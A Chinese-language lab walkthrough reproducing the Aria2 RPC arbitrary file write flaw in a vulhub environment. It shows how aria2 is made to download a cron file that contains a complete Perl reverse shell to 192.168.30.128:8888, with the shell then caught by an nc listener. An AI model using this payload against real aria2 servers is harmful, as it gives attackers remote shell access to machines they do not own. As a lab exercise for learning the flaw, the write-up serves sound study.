漏洞背景
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
漏洞复现
我这里是vulhub的环境,环境启动后,访问http://your-ip:6800/
,发现服务已启动并且返回404页面。
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/
在settings里面填上url,我也没用过这个东西,原本还以为需要穿透才能用,很奇迹的是内网也行
保存后点击add
选择了文件后发现报错了,我又没用过这种东西,看了看别人博客,这一步格式是http网址,应该是要从网站上拉取下载
使用python在shell文件目录下搭一个http
- python2 -m SimpleHTTPServer 8000
- python3 -m http.server 8000
然后将网址填上点add就可以拉取了
shell文件内容:(注意后面要有\n换行,不然会失败)
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.30.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
使用nc来监听,稍微等待就可以拿到shell